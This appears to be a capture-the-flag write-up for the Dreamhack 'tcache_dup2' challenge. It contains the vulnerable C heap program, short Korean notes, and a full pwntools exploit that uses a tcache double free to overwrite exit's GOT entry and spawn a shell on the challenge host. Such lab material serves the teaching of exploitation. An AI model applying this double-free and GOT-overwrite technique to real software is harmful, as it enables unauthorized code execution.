code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
checksec
- Partial RELRO, NX 보호기법이 있기 때문에 GOT overwrite을 하면 될 것 같다.
exit_got
을 get_shell
의 주소로 overwrite하고, delete_heap()
에 idx
로 7을 주면 exit
하면서 get_shell
이 실행될 것이다.
최종 exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 19354)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')
def create(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size))
p.sendafter(b'Data: ', data)
def modify(idx, size, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(idx))
p.sendlineafter(b'Size: ', str(size))
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', str(idx))
get_shell = e.symbols['get_shell']
exit_got = e.got['exit']
# double free
create(16, b'AAAA') # allocate ptr[0]
create(16, b'AAAA') # allocate ptr[1]
delete(0) # free ptr[0]
delete(1)
modify(1, 9, b'B' * 8 + b'\x00') # modify key of ptr[0]
delete(1)
create(16, p64(exit_got))
create(16, b'AAAA')
create(16, p64(get_shell))
delete(8)
p.interactive()